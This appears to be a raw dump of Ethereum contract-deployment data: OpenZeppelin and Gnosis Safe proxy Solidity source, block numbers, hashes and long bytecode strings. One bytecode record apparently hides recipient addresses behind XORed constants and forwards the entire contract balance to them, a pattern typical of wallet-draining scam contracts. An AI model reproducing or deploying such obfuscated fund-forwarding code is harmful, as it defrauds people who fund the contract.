*\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n" } }, "settings": { "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} } }}
1
19,493,299
47d6da899044b4a0e15042dd37111b4b6d1430b3ca91597650cb1d9df701e815
00f5d286b6b3c7f564644ad04bb4871bc3d54b77e7034272abbba2d613357504
000099b4a4d3ceb370d3a8a6235d24e07a8c0000
ee2a0343e825b2e5981851299787a679ce08216d
bdfbd56d053dae8bca3c572778bdba5baf137464
6080604052348015600f57600080fd5b506040516101bb3803806101bb833981016040819052602c916059565b600080546001600160a01b039092166001600160a01b031992831617905560018054909116331790556087565b600060208284031215606a57600080fd5b81516001600160a01b0381168114608057600080fd5b9392505050565b610125806100966000396000f3fe6080604052348015600f57600080fd5b506004361060325760003560e01c80638da5cb5b14609f578063d4b839921460cd575b6001546001600160a01b03163314604857600080fd5b600080546040516001600160a01b03909116906066908390369060df565b600060405180830381855af49150503d8060008114609d576040519150601f19603f3d011682016040523d82523d6000602084013e005b005b60015460b1906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b60005460b1906001600160a01b031681565b818382376000910190815291905056fea2646970667358221220736ccf845e951824707af03941a53c8275c6b25991c8ea8d34f6c24f7bbc22e164736f6c6343000819003300000000000000000000000033c99c0323adc0b7bd4ddd2ac4d4de2c28722fb0
6080604052348015600f57600080fd5b506004361060325760003560e01c80638da5cb5b14609f578063d4b839921460cd575b6001546001600160a01b03163314604857600080fd5b600080546040516001600160a01b03909116906066908390369060df565b600060405180830381855af49150503d8060008114609d576040519150601f19603f3d011682016040523d82523d6000602084013e005b005b60015460b1906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b60005460b1906001600160a01b031681565b818382376000910190815291905056fea2646970667358221220736ccf845e951824707af03941a53c8275c6b25991c8ea8d34f6c24f7bbc22e164736f6c63430008190033
1
19,493,300
b9c3163245c8a06caf8726333bd7b1772af1a7048da3d2d2a13d53fd86285ba6
f06b15352f96d489122500b55a8532fac8a3d52980aadb654b523ef599e582ab
89c0860e7dfee5c627f561493272fd85d9bfde7c
a6b71e26c5e0845f74c812102ca7114b6a896ab2
5e6b81f9d50eed46c1124ebd47ee59315c99eacc
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <[email protected]> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <[email protected]> /// @author Richard Meissner - <[email protected]> contract GnosisSafeProxy { // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal singleton; /// @dev Constructor function sets address of singleton contract. /// @param _singleton Singleton address. constructor(address _singleton) { require(_singleton != address(0), "Invalid singleton address provided"); singleton = _singleton; } /// @dev Fallback function forwards all transactions and returns all received return data. fallback() external payable { // solhint-disable-next-line no-inline-assembly assembly { let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, _singleton) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } } /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <[email protected]> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param singleton Address of singleton contract. /// @param data Payload for message call sent to new proxy contract. function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) { proxy = new GnosisSafeProxy(singleton); if (data.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, singleton); } /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).runtimeCode; } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).creationCode; } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); if (initializer.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, _singleton); } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback))); proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback); if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce); } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); revert(string(abi.encodePacked(proxy))); } } interface IProxyCreationCallback { function proxyCreated( GnosisSafeProxy proxy, address _singleton, bytes calldata initializer, uint256 saltNonce ) external; }
1
19,493,306
b682a647cd9a573974542eb683e1a1e8426afbf459629a871965a8144fa63f0c
13e7f8d8cd8196e3169ae1a971601ee01203c0254071a5550d1104ced3efc930
2efc64e8dd57f9418999e610092d64af528a412d
2efc64e8dd57f9418999e610092d64af528a412d
bce69eac6b029f7396b5831bb9d7da0521955aae
6080604052670de0b6b3a764000060025566b1a2bc2ec500006003556004805460ff191690557f6e75382374384e10a7b62f6203157aa9e99f78d5213223f5ac9a4d92c9ed5d716007557f6e75382374384e10a7b62f6266005ed5a21c0da4330e4df10986a5d4ea19b6756008557f6e75382374384e10a7b62f6275685a1a7ba2ec89d03aaf46ee28682d66a044bc60095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103678061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea2646970667358221220076c9c89176f7991adfb9fd068ce080f75bf9ba91f94b907b75b26c785073af064736f6c63430008070033
6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea2646970667358221220076c9c89176f7991adfb9fd068ce080f75bf9ba91f94b907b75b26c785073af064736f6c63430008070033
1
19,493,308
bc25e87df299ab63b83e51e1c1849eca017e30b55ec2cd384b7ab61aec1ec804
02d20a830ab96d0e46808085e56a547cc874e45c2c49bf1652160b8d44afab92
994d5147c315b31f997d8d24b0f8ce7a9557ad31
6a8cbed756804b16e05e741edabd5cb544ae21bf
51fd52420ce0c8df1fcf36c9511f01998de73887
615c335150346109c2576020615ddc5f395f516020602082615ddc015f395f51116109c2576020602082615ddc015f395f51018082615ddc0160803950506020615dfc5f395f51600a602082615ddc015f395f51116109c2576020602082615ddc015f395f51018082615ddc0160c03950506020615e9c5f395f516008602082615ddc015f395f51116109c257602081615ddc015f395f515f81600881116109c25780156100d857905b60208160051b6020860101615ddc015f395f518060a01c6109c2578160051b61012001526001018181186100a9575b5050806101005250506020615ebc5f395f516008602082615ddc015f395f51116109c257602081615ddc015f395f5160208160051b018083615ddc01610220395050506020615edc5f395f516008602082615ddc015f395f51116109c257602081615ddc015f395f515f81600881116109c257801561018257905b60208160051b6020860101615ddc015f395f518060081c6109c2578160051b6103600152600101818118610153575b5050806103405250506020615efc5f395f516008602082615ddc015f395f51116109c257602081615ddc015f395f515f81600881116109c25780156101f257905b60208160051b6020860101615ddc015f395f518060201b6109c2578160051b61048001526001018181186101c3575b5050806104605250506020615f1c5f395f516008602082615ddc015f395f51116109c257602081615ddc015f395f515f81600881116109c257801561026257905b60208160051b6020860101615ddc015f395f518060a01c6109c2578160051b6105a00152600101818118610233575b5050806105805250506101005160208160051b015f81601f0160051c600981116109c25780156102ae57905b8060051b61010001518160051b6060016153f3015260010181811861028e575b505050506103405160208160051b015f81601f0160051c600981116109c25780156102f657905b8060051b61034001518160051b610180016153f301526001018181186102d5575b505050505f6106a0525f61557351600881116109c257801561033e57905b60028160051b6101a0016153f30151186103335760016106a05261033e565b600101818118610314575b50506106a05161569352610100516106a0526106a0516153f3526106a05180607f1c6109c257615413526102205160208160051b015f81601f0160051c600981116109c25780156103ac57905b8060051b61022001518160051b6102c0016153f3015260010181811861038b575b50505050336154335260646020615e1c5f395f51026106c0526106c051600c556106c051600d556020615e3c5f395f51600a556020615e5c5f395f51600b556020615e7c5f395f51156109c2576020615e7c5f395f5160235561f374602455426040524260605261041e6106e0610981565b6106e0516025555f6106e0525f610800525f610920525f61541351600881116109c257801561070a57905b80610a4052615413516001810380600f0b81186109c2579050610a405112156104ac57601954600781116109c257670de0b6b3a7640000604052670de0b6b3a764000060605261049a610a60610981565b610a605181601a015560018101601955505b61092051600781116109c257610a4051610580518110156109c25760051b6105a00151610a4051610460518110156109c25760051b61048001518060e01c90508060e01b818160e01c186109c2579050178160051b6109400152600181016109205250600154600781116109c2575f81600201556001810160015550601054600781116109c2575f816011015560018101601055506003610a4051610340518110156109c25760051b6103600151186106c0576106e051600781116109c257610a4051610100518110156109c25760051b610120015163313ce567610a60526020610a606004610a7c845afa6105a4573d5f5f3e3d5ffd5b60203d106109c257610a60518060081c6109c257610aa052610aa0905051604d81116109c25780600a0a90508160051b6107000152600181016106e05250610a4051610100518110156109c25760051b61012001516338d52e0f610a80526020610a806004610a9c845afa61061b573d5f5f3e3d5ffd5b60203d106109c257610a80518060a01c6109c257610ac052610ac0905051610a605261080051600781116109c257610a605163313ce567610a80526020610a806004610a9c845afa61066f573d5f5f3e3d5ffd5b60203d106109c257610a80518060081c6109c257610ac052610ac090505180601203601281116109c2579050604d81116109c25780600a0a90508160051b61082001526001810161080052506106ff565b6106e051600781116109c2575f8160051b6107000152600181016106e0525061080051600781116109c2575f8160051b61082001526001810161080052505b600101818118610449575b50506106e05160208160051b015f81601f0160051c600981116109c257801561075057905b8060051b6106e001518160051b610500016153f3015260010181811861072f575b505050506108005160208160051b015f81601f0160051c600981116109c257801561079857905b8060051b61080001518160051b610620016153f30152600101818118610777575b505050506109205160208160051b015f81601f0160051c600981116109c25780156107e057905b8060051b61092001518160051b6103e0016153f301526001018181186107bf575b505050506020608051015f81601f0160051c600281116109c257801561082257905b8060051b608001518160051b610740016153f30152600101818118610802575b505050602060c051015f81601f0160051c600281116109c257801561086357905b8060051b60c001518160051b6107a0016153f30152600101818118610843575b5050506020615b3351015f81601f0160051c600381116109c25780156108a657905b8060051b610740016153f301518160051b610a400152600101818118610885575b505050610a40805160208201209050615bd3526001430340615c135246615bf3527fd87cd6ef79d4e2b95e15ce8abf732db51ec771f1ca2edccf22a46c729ac56472610a6052615bd351610a80527f1c54f243822e0e9a0a377610b81577e771b3efe79964e76636b0d5d10247950d610aa05246610ac05230610ae052615c1351610b005260c0610a4052610a40805160208201209050615c3352335f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef5f610a40526020610a40a36153f36109c661000039615c53610000f35b6fffffffffffffffffffffffffffffffff604051116109c2576fffffffffffffffffffffffffffffffff606051116109c25760605160801b60405117815250565b5f80fd5f3560e01c60056005600683060261522a01601b395f51600760078260ff16848460181c0260181c06028260081c61ffff1601601939505f51818160181c14600336111661004c5761294e565b8060fe16361034826001160217615226578060081c61ffff16565b60206153f360403960206040f35b602060043560206154535f395f518110156152265760051b6080016153f30160403960206040f35b600a5460405260206040f35b600b5460405260206040f35b64012a05f20060405260206040f35b600c5460405260206040f35b600d5460405260206040f35b600e5460405260206040f35b600f5460405260206040f35b600435601054811015615226576011015460405260206040f35b60235460405260206040f35b60245460405260206040f35b60255460405260206040f35b6020806040528060400160206020615b335f395f510180615b338339508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b6020806040528060400160206020615b935f395f510180615b938339508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b601260405260206040f35b60208060805260066040527f76372e302e30000000000000000000000000000000000000000000000000000060605260408160800181518152602082015160208201528051806020830101601f825f03163682375050601f19601f8251602001011690509050810190506080f35b6004358060a01c6152265760405260266040516020525f5260405f205460605260206060f35b6004358060a01c615226576040526024358060a01c6152265760605260276040516020525f5260405f20806060516020525f5260405f2090505460805260206080f35b6004358060a01c6152265760405260296040516020525f5260405f205460605260206060f35b6020615c1360403960206040f35b33611360526102ee565b6084358060a01c61522657611360525b60043580600f0b8118615226576113205260243580600f0b811861522657611340525f546002146152265760025f55602033610dc05261132051610de05261134051610e005260406044610e203761136051610e60525f610e8052610354611380614466565b61138060035f55f35b3361136052610377565b6084358060a01c61522657611360525b60043580600f0b8118615226576113205260243580600f0b811861522657611340525f546002146152265760025f5560206156935f395f5161522657602033610dc05261132051610de05261134051610e005260406044610e203761136051610e60526001610e80526103eb611380614466565b61138060035f55f35b33610a805261040e565b6044358060a01c61522657610a80525b600435600401600881351161522657803560208160051b018083610960375050505f546002146152265760025f55610a80511561522657610450610ac061323c565b610ac051610aa052610463610be0613055565b610be0805160208160051b0180610ac0828560045afa50505050610488610d00612d26565b610d00805160208160051b0180610be0828560045afa50505050610be05160208160051b01806103c082610be060045afa505050610ac05160208160051b01806104e082610ac060045afa505050610aa051610600526104e9610d20614714565b610d2051610d0052602854610d2052610ac05160208160051b0180610d4082610ac060045afa5050505f60206154135f395f51600881116152265780156105c857905b80610e6052610e6051610960518110156152265760051b6109800151156105b357610e6051610d40518110156152265760051b610d60018051610e6051604052610e6051610960518110156152265760051b6109800151606052336080525f60a052610599610e80612993565b610e805180820182811061522657905090508152506105bd565b610d205115615226575b60010181811861052c575b5050610be05160208160051b01806103c082610be060045afa505050610d405160208160051b01806104e082610d4060045afa505050610aa05161060052610611610e80614714565b610e8051610e6052610d0051610e60511115615226575f610e80525f610fa052610d2051156109a857606036610fc03760206153f35f395f51610d0051610e60518082018281106152265790509050046110205260403661104037600160206153f35f395f510360021b60206153f35f395f51600a540204611080525f60206154135f395f51600881116152265780156108ad57905b806110a052610e60516110a051610ac0518110156152265760051b610ae001518082028115838383041417156152265790509050610d005180156152265780820490509050610fc0525f610fe0526110a051610d40518110156152265760051b610d6001516110005261100051610fc0511161072f57610fc0516110005103610fe05261073d565b61100051610fc05103610fe0525b670de0b6b3a76400006110a051610be0518110156152265760051b610c0001516110a051610ac0518110156152265760051b610ae00151611000518082018281106152265790509050808202811583838304141715615226579050905004611040526110405160405261102051606052611080516080526107bf6110c06138c4565b6110c05161106052610e805160078111615226576402540be40061106051610fe0518082028115838383041417156152265790509050048160051b610ea0015260018101610e8052506110a0516010548110156152265760110180546402540be4006110a051610e80518110156152265760051b610ea0015164012a05f20081028164012a05f2008204186152265790500480820182811061522657905090508155506110a051610d40518110156152265760051b610d600180516110a051610e80518110156152265760051b610ea0015180820382811161522657905090508152506001018181186106a7575b5050610be05160208160051b0180604082610be060045afa505050610d405160208160051b018061016082610d4060045afa5050506108ed6111c0613188565b6111c0805160208160051b01806110a0828560045afa505050506110a05160208160051b01806040826110a060045afa505050610aa051610160526109336111c0613347565b6111c051610e6052610d0051610d2051610e6051610d00518082038281116152265790509050808202811583838304141715615226579050905004610fa0526110a05160208160051b0180610340826110a060045afa505050610aa05161046052610e605161048052610a23613ed056610a23565b610e6051610fa052610e6051604052610e60516060526109c9610fc0612952565b610fc0516022556025546040526109e1611000613984565b6110006040610fc060408360045afa505042610fe0511015610a235742610fe052610fc051604052610fe051606052610a1b611000612952565b611000516025555b602435610fa0511015610a95576014610fc0527f536c697070616765207363726577656420796f75000000000000000000000000610fe052610fc050610fc05180610fe001601f825f031636823750506308c379a0610f80526020610fa052601f19601f610fc0510116604401610f9cfd5b610d2051610fa0518082018281106152265790509050610d20526026610a80516020525f5260405f208054610fa0518082018281106152265790509050815550610d2051602855610a80515f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610fa051610fc0526020610fc0a3337f189c623b666b1b45b83d7178f39b8c087cb09774317ca2f53c2d3c3726f222a2608080610fc05280610fc0015f610960518083528060051b5f8260088111615226578015610b7a57905b8060051b61098001518160051b602088010152600101818118610b5c575b5050820160200191505090508101905080610fe05280610fc0015f610e80518083528060051b5f8260088111615226578015610bd057905b8060051b610ea001518160051b602088010152600101818118610bb2575b50508201602001915050905081019050610e605161100052610d205161102052610fc0a26020610fa060035f55f35b33610b0052610c19565b6064358060a01c61522657610b00525b60243580600f0b811861522657610ae0525f546002146152265760025f556004351561522657606036610b20375f610c80525f610ca0526004356103c052610ae0516103e052610c6a610cc0614a57565b610cc08051610b20526020810151610b405260408101805160208160051b0180610b60828560045afa50505050610160810151610c8052610180810151610ca05250604435610b20511015610d1e576018610cc0527f4e6f7420656e6f75676820636f696e732072656d6f7665640000000000000000610ce052610cc050610cc05180610ce001601f825f031636823750506308c379a0610c80526020610ca052601f19601f610cc0510116604401610c9cfd5b610ae0516010548110156152265760110180546402540be400610b405164012a05f20081028164012a05f20082041861522657905004808201828110615226579050905081555033604052600435606052610d77614f3d565b610ae051604052610b2051606052610b0051608052610d94612b55565b337f6f48129db1f37ccb9cc5dd7e119cb32750cabdf75b48375d730d26ce3659bbe1610ae051610cc052600435610ce052610b2051610d0052602854610d20526080610cc0a2610b605160208160051b018061034082610b6060045afa505050610c805161046052610ca05161048052610e0c613ed0565b6020610b2060035f55f35b33610a8052610e31565b6044358060a01c61522657610a80525b600435600401600881351161522657803560208160051b018083610960375050505f546002146152265760025f55610e6a610ac061323c565b610ac051610aa052610e7d610be0612d26565b610be0805160208160051b0180610ac0828560045afa50505050610ea2610d00613055565b610d00805160208160051b0180610be0828560045afa50505050610ac05160208160051b01806103c082610ac060045afa505050610be05160208160051b01806104e082610be060045afa505050610aa05161060052610f03610d20614714565b610d2051610d0052610be05160208160051b0180610d2082610be060045afa5050505f60206154135f395f5160088111615226578015610fdb57905b80610e4052610e4051610960518110156152265760051b610980015115610fd057610e4051610d20518110156152265760051b610d40018051610e4051610960518110156152265760051b61098001518082038281116152265790509050815250610e4051604052610e4051610960518110156152265760051b6109800151606052610a8051608052610fd0612b5556